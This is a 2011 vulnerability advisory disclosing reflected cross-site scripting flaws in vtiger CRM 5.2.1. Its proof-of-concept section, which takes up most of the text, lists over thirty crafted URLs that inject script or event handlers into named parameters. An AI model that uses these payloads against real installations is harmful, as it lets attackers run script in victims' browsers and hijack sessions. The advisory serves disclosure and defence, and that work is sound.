1. OVERVIEW

The vtiger CRM 5.2.1 and lower versions are vulnerable to Cross Site Scripting. No fixed version has been released as of 2011-10-04.

2. BACKGROUND

vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal for small and medium businesses, with low-cost product support available to production users that need reliable support. vtiger CRM is a widely used product with thousands of users in dozens of countries. It has a vibrant community of users driving the product forward, and contributing to it’s development. Over 2 million copies of vtiger CRM have been downloaded so far. It was launched as a fork of version 1.0 of the SugarCRM project launched on December 31st, 2004.

3. VULNERABILITY DESCRIPTION

Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim’s browser.

4. VERSIONS AFFECTED

Tested on 5.2.1

5. PROOF-OF-CONCEPT/EXPLOIT

Cross Site Scripting

Browser: IE

Parameter: return_url

/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1&return_url="><script>alert(/XSS/)</script>

Parameter: workflow_id

/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1'"><script>alert(/XSS/)</script>&return_url=1

Browser: ALL

Parameter: action

/phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=My Home Page"><script>alert(0)</script>&jt=

Parameter: module

/phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt=

Parameter: closingdate_end

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01aa8ed'><script>alert(/xss/)</script>e8e16680dfc&query=true&type=dbrd&owner=admin&viewname=10

Parameter: closingdate_start

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-0189b81'><script>alert(1)</script>&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=1

Parameter: contact_id

/index.php?module=Calendar&action=EditView&return_module=Contacts&return_action=DetailView&activity_mode=Events&return_id=29&contact_id=><script>alert(1)</script>d3ef7f5e017&account_id=16&parenttab=Marketing

Parameter: date_closed

/index.php?module=Potentials&action=ListView&date_closed=2006-01'><script>alert(1)</script>&sales_stage=Other&query=true&type=dbrd&owner=admin&viewname=10

Parameter: day
Note: Move your mouse over the input text box ‘pagenum’ , « 1″ of « 1″

/index.php?action=index&module=Calendar&view=week&hour=0&day=5%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x

Parameter: month
Note: Move your mouse over the input text box ‘pagenum’ , « 1″ of « 1″

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x=%22&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1

Parameter: owner
Note: Move your mouse over the texts « Potential No. », « Potential Name »,..etc

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin%27%20onmouseover%3d%27alert(/XSS/)%27%2520x%253d%27&viewname=10

Parameter: leadsource

/index.php?module=Potentials&action=ListView&leadsource=--None--'><script>alert(1)</script>&query=true&type=dbrd&viewname=10

Parameter: mode

/index.php?module=Settings&action=profilePrivileges&mode=view%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&parenttab=Settings&profileid=1

Parameter: parent_id

/index.php?module=Calendar&action=EditView&return_module=Leads&return_action=DetailView&activity_mode=Events&return_id=37&parent_id=37"><script>alert(/XSS/)</script>&parenttab=Marketin

Parameter: profile_id

/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%3b}}alert(/XSS/)%3bfunction+xss(){x%3d=0;if(x){x%3d1&mode=view

Parameter: query
Note: Campaigns name ‘test’ must exist. Move your mouse over the ‘edit’ link.

/index.php?module=Campaigns&searchtype=BasicSearch&search_field=campaignname&query=truef1de8%22%20onmouseover%3d%22alert%281%29%22%2007&search_text=test&action=index&parenttab=Marketing&search_cnt=

Parameter: sales_stage

/index.php?module=Potentials&action=ListView&sales_stage=Prospect'><script>alert(/XSS/)</script>x&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=10

Parameter: start
Note: Move your mouse over the ‘edit’ link.

/index.php?action=ListView&module=Calendar&record=116&viewname=19&start=1371b1"%20onmouseover="alert(0)"%20a%3db%22&parenttab=My%20Home%20Page

Parameter: subtab
Note: Move your mouse over the « Day », « Week », « Month », « Year »

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&parenttab=My&onlyforuser=1

Parameter: type

Note: Move your mouse over the texts « Potential No. », « Potential Name »,..etc
/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=db%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&owner=admin&viewname=10

Parameter: view

/index.php?action=index&module=Calendar&view=week'%20onload%3d%22alert%28/XSS/)%22%20x=%22&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1

Parameter: viewOption

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview%27%29%22%20%20onload%3d%22alert%28/XSS/%29%22%20x=%22&subtab=event&parenttab=My&onlyforuser=1

Parameter: viewname

/index.php?module=Calendar&action=CalendarAjax&file=ListView&ajax=changestate&viewname=10"'%20onmouseover=alert(/XSS/)%20x='&errormsg=

Browser: IE 6, IE 7, FF 4 <
XSS in Hidden Input Tag
============================

Parameter: activity_mode
Note: For this example, record id 116 needs to exist

/index.php?action=DetailView&module=Calendar&record=116&activity_mode=Task%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&parenttab=My

Parameter: display_view

/index.php?module=Dashboard&action=index&display_view=50%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&pbss_edit=true

Parameter: folderid

/index.php?module=Reports&action=SaveAndRun&record=1&folderid=17920%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

Parameter: groupId

/index.php?module=Settings&action=createnewgroup&returnaction=listgroups&parenttab=Settings&mode=edit&groupId=2%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

Parameter: mode

/index.php?module=Settings&action=createrole&roleid=H2&parenttab=Settings&mode=edit%22%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

Parameter: parent

index.php?module=Settings&action=createrole&parenttab=Settings&parent=H%22%20style=%22background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;

Parameter: profile_id

/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%22%20style%3dbackground%2dimage%2durl('javascript:alert(0)')%3bwidth:1000px;height:1000px;display:block;%22%20x%3d&mode=view

Parameter: return_action

/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns&return_action=index"%20style%3d"x%3aexpression(alert(1))"%20x="s&parenttab=Marketing&return_viewname=29

Parameter: return_module

/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&return_action=index&parenttab=Marketing&return_viewname=29

Parameter: returnaction

/index.php?module=Settings&action=createnewgroup&returnaction=listgroups"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Settings&mode=edit&groupId=2

Parameter: roleid

/index.php?module=Settings&action=RoleDetailView&roleid=H2"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s

Parameter: src_module

/index.php?module=Settings&action=ModuleManager&module_update=Step1&src_module=Mobile3"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Setting

Parameter: view
/index.php?action=index&module=Calendar&view=week"%20style%3d"xss%3aexpression(alert(1))"&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1

6. SOLUTION

No patched version is available yet.
The vendor hasn’t attempted to fix the issues though they acknowledged the reports.

7. VENDOR

vTiger Development Team
http://www.vtiger.com/

8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE

2010-12-08: notified vendor
2011-10-04: no fixed version released yet
2011-10-04: vulnerability disclosed

10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5BvTiger_5.2.1%5D_XSS
Wiki VtigerCRM: https://secure.wikimedia.org/wikipedia/en/wiki/Vtiger_CRM